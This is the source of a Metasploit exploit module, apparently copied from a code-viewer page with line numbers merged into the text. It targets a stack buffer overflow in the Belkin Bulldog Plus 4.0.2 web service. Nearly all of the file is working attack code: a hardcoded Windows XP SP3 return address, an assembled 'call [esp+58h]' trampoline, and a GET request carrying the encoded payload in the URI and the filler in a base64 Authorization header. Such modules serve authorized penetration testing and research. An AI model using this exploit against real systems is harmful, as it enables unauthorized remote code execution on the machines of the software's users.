Path: blob/master/modules/exploits/windows/http/belkin_bulldog.rb
33181 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Belkin Bulldog Plus Web Service Buffer Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in Belkin Bulldog Plus174.0.2 build 1219. When sending a specially crafted http request,18an attacker may be able to execute arbitrary code.19},20'Author' => [ 'MC' ],21'License' => MSF_LICENSE,22'References' => [23[ 'CVE', '2009-20009' ],24[ 'OSVDB', '54395' ],25[ 'BID', '34033' ],26[ 'EDB', '8173' ]27],28'Privileged' => true,29'DefaultOptions' => {30'EXITFUNC' => 'process',31'AllowWin32SEH' => true32},33'Payload' => {34'Space' => 750,35'BadChars' => "\x00",36'StackAdjustment' => -3500,37'EncoderType' => Msf::Encoder::Type::AlphanumUpper,38'DisableNops' => true,39},40'Platform' => 'win',41'Targets' => [42[ 'Windows XP SP3 English', { 'Ret' => 0x7e4456f7 } ],43],44'DefaultTarget' => 0,45'DisclosureDate' => '2009-03-08',46'Notes' => {47'Reliability' => UNKNOWN_RELIABILITY,48'Stability' => UNKNOWN_STABILITY,49'SideEffects' => UNKNOWN_SIDE_EFFECTS50}51)52)53end5455def exploit56c = connect5758dwerd = Metasm::Shellcode.assemble(Metasm::Ia32.new, "call dword [esp+58h]").encode_string5960filler = [target.ret].pack('V') + dwerd + make_nops(28)6162print_status("Trying target #{target.name}...")6364send_request_raw({65'uri' => payload.encoded,66'version' => '1.1',67'method' => 'GET',68'headers' =>69{70'Authorization' => "Basic #{Rex::Text.encode_base64(filler)}"71}72}, 5)7374handler75end76end777879